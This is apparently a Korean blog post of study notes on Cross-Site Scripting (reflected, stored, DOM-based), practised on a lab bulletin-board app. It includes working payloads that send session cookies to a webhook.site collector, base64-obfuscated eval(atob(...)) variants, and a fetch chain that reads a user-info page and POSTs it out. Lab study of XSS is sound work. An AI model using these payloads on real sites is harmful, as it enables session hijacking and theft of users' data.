Bazinga!

Cross Site Scripting취약점 (XSS) 본문

Web

Cross Site Scripting취약점 (XSS)

Bazinga! 2024. 8. 27. 16:51
Cross Site Scripting(XSS) 

사용자로부터 입력받은 데이터를 검증 및 Escape 처리하지 않을 경우 발생하는 취약점 

웹 서비스를 대상으로 악성 스크립트를 삽입해 공격자가 원하는 행위를 수행하는 취약점 유형이다.

 

이 취약점을 이영해 세션과 같은 인증정보 탈취 및 사용자 행동 추적, 민감정보 수집, 웹서비스 기능 임의 조작 등의 공격을 수행할 수 있다.

 

3가지 유형으로 분류된다.

① 반사형(Reflected)

② 저장형(Stored)

③ DOM기반(DOM-Based) XSS

 

 

1. Relected XSS 

악성 스크립트가 삽입된 URL에 사용자가 접근했을 때, 즉시 반영되어 실행되는 경우

시용자가 입력한 스크립트가 검증없이 웹 서비스에 포함되는 경우 공격을 수행하게된다.

서버에 저장되지 않는 유형이다.

 

게시판 기능에서 Reflected XSS 취약점이 발생할 수 있는 곳을 찾아 alert(1)을 띄는 실습을 해보자.

검색창에 입력한 값이 value = 값에 들어가는 것을 확인할 수 있다.

<script>alert(1)</script>을 그냐 입력하면 텍스트 값으로 value값에 들어가게 된다.

html의 특징을 이용하여 검색어를 변경해보자

 

<script?alert(1)</script>앞에 "을 추가하여 입력하게 되면

입력한 "가 <input>으러 들어가고  기존 "가 밖으로 빠져나온다.

 

 

그럼 >를 하나 더 추가하게 된다면?

 

<input> 구문 뒤로 <script>alert(1)</script>가 추가되면서

alert(1)이 작동하게된다.

 

 

▶ 이처럼 HTML 태그의 특성을 이용하여 검색결과를 응답에 포함될때 악성스크립트가 포함된 경우 Reflected XSS가 발생할 수 있다.

 

2. Stored XSS

악성 스크립트가 서버에 저장되고, 접근하는 경우 악성 스크립트가 발생한다.

즉 웹서비스에 저장된 정보를 조회할 때 발생하는 취약점으로 서버의 DB,파일,특정 기능 등의 형태로 저장된 정보를 조회할 때 발생한다.

주로 게시글, 댓글, 계정정보 등에 업로드 하는 방식이 존재한다.

낮은 난이도에 비해 높은 파급력을 갖는다.

 

게시글 작성 탭에 들어간다

게시글에 임의의 값과 악성 스크립트 내용을 작성하여 저장을 하면 서버에 저장이 되고 서버에서는 DB에 데이터를 저장하게 된다. 

DB에 제목, 내용 작성자에 대한 정보가 저장된다.

게시판에서 저장된 글을 조회할때 DB에서 값을 찾아와서 게시글에 노출한다.

작성한 게시글을 누르니 alert("1234")스크립트가 실행되었다

게시글 내용이 제대로 검증되지 않아 alert<"1234"> 가  태그로 인식이 되어 들어간 것을 확인할 수 있다.

 

▶ 이처럼 삽입된 내용을 검증하지않는다면 악성 스크립트가 삽입이 되어 실행된다.

사용자들이 저렇게 악성 스크립트가 포함된 게시글을 접근하게 되면 스크립트가 발생하게 된다.

 

3. DOM-Based XSS

URL과 같이 사용자 요청에 의해 발생하는 유형이다. Client-Side에서만 발생한다.

피해자에게 악성스크립트가 포함된 URL에 접속하도록 유도해야한다.

Reflected 유형과 비슷하지만 DOM 유형은 서버쪽에 입력한 값이 전달이 되지 않으며 반환되는 값에도 포함되지 않는다.

기본페이지

 

 

 

 

 

Reflected XSS와 DOM-Based XSS의 차이점

Reflected 유형

 

DOM 유형

서버내로 들어오지 않는것을 확인 할 수 있다.

 

 


취약점 응용

1. Redirect

- XSS취약점 발생 시, 공격자가 삽입한 임의의 사이트로 이동

- 정교하게 작성된 피싱 사이트 유도를 통한 정보탈취 공격]

- 임의 사이트로 특정 데이터를 전송하는 공격 수행

위처럼 했을때 alert 메시지 창이 뜨는것을 위에서 확인하였다.

그렇다면 주소가 들어갔을때?

입력한 사이트로 접근이 가능하게된다.

 

2. session hijacking

- XSS 취약점 발생 시,접근한 사용자/관리자 세션을 공격자 서버로 탈취

- 세션 탈취 공격을 통한, 계정 및 정보 탈취

Webhook사이트에서 (공격자 서버)로 사용할 URL을 카피한다.

<script>location.href="공격자 서버 URL"?a=+document.cookie</script>

a라는 파라미터 값에 document.cookie값을 webhook서버로 날리겠다는 의미

이 태그를 URL에 함께 입력한다

(%2b는 +가 변형된것이다.)

Webhook으로 돌아와 확인하니

아래쪽을 보면 a 파라미터 값에 세세한 정보가 들어있는 것을 확인할 수 있다.

이런식으로 다른 사용자의 세션 값을 확인 및 탈취 가능하다. 사용자가 로그아웃을 하기 전까지 세션 값이 유지된다.

탈취한 세션 값을 사용할 수 있다는것.

 

 

<함수 이용해보기>

eval 함수 문자열 입력받는다.

 

 

atob - base64된 문자를 디코딩해준

 

 

base64 인코딩

 

 

 

 

 

세션 탈취 URL과 document.cookie값을 BASE64 인코딩

인코딩 된 값을 eval(atob('URL삽입'))

게시판 keyword에 입력

keyword="><script>eval(atob("bG9jYXRpb24uaHJlZj0naHR0cHM6Ly93ZWJob29rLnNpdGUvNWZhYTQ5ZjQtZTBhMS00Y2M4LTk3ZjYtZGQ5MjRlNjQ0ZDZjLz9hPScrZG9jdW1lbnQuY29va2ll"))</script>

 

인코딩 된 값으로도 세션 값 탈취 가능하다.

 

 

3. vulnerability chaining 

- 임의 기능 실행 등과 같이 다른 취약점과 연계하여 공격한다.

- 공격 흔적을 최소화하여 공격 수행 및 정보 탈취

- 사용자가 보고있는 페이지의 정보를 가져올 수 있다.

위에 나와있는 세션값을 조회 해볼것이다.

 

Fetch함수 이용

fetch("http://192.168.0.26:22223/user_info.php")
fetch("http://192.168.0.26:22223/user_info.php").then(response => response.text()) fetch("http://192.168.0.26:22223/user_info.php").then(response => response.text()).then(data => console.log(data))

 

 

eval(atob("ZmV0Y2goImh0dHA6Ly8xOTIuMTY4LjAuMjY6MjIyMjMvdXNlcl9pbmZvLnBocCIpLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKS50aGVuKGRhdGEgPT4gY29uc29sZS5sb2coZGF0YSkp="))

 

ex1) reflected XSS 파라미터 입력

keyword="><img/src/onerror=eval(atob("ZmV0Y2goImh0dHA6Ly8xOTIuMTY4LjAuMjY6MjIyMjMvdXNlcl9pbmZvLnBocCIpLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKS50aGVuKGRhdGEgPT4gY29uc29sZS5sb2coZGF0YSkp"))>

 

 

ex)2 Stored XSS 게시글 작성

<script>eval(atob("ZmV0Y2goImh0dHA6Ly8xOTIuMTY4LjAuMjY6MjIyMjMvdXNlcl9pbmZvLnBocCIpLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKS50aGVuKGRhdGEgPT4gY29uc29sZS5sb2coZGF0YSkp"))</script>

 

 

 

페이지에 들어오면 사용자에게는 아무 내용이 보이지 않겠지만 실제 뒤에서는 이런 상황들이 벌어지고 있다.

 

 

----------------------------

fetch("http://192.168.0.26:22223/user_info.php").then(response => response.text()).then(text => {return fetch('https://webhook.site/5faa49f4-e0a1-4cc8-97f6-dd924e644d6c' {method:'POST',body:text});});

api

 

 

 

-reflected

keyword="><script>eval(atob("{base64_encode값}"))</script>

keyword="><script>eval(atob("ZmV0Y2goImh0dHA6Ly8xOTIuMTY4LjAuMjY6MjIyMjMvdXNlcl9pbmZvLnBocCIpLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKS50aGVuKHRleHQgPT4ge3JldHVybiBmZXRjaCgnaHR0cHM6Ly93ZWJob29rLnNpdGUvNWZhYTQ5ZjQtZTBhMS00Y2M4LTk3ZjYtZGQ5MjRlNjQ0ZDZjJyx7bWV0aG9kOidQT1NUJyxib2R5OnRleHR9KTt9KTs="))</script>

 

 

- stored

<script>eval(atob( "{base64_encode값}"))</script>

<script>eval(atob("ZmV0Y2goImh0dHA6Ly8xOTIuMTY4LjAuMjY6MjIyMjMvdXNlcl9pbmZvLnBocCIpLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKS50aGVuKHRleHQgPT4ge3JldHVybiBmZXRjaCgnaHR0cHM6Ly93ZWJob29rLnNpdGUvNWZhYTQ5ZjQtZTBhMS00Y2M4LTk3ZjYtZGQ5MjRlNjQ0ZDZjJyx7bWV0aG9kOidQT1NUJyxib2R5OnRleHR9KTt9KTs="))</script>

'Web' 카테고리의 다른 글

SQL Injection 실습해보기  (0) 2024.09.12
Cookie/Session  (0) 2024.08.26
LFI / RFI 취약점 실습  (0) 2024.08.21
bWAPP 디렉토리 순회 & 인증결함 취약점  (0) 2024.08.21
bWAPP OS 명령 인젝션  (0) 2024.08.20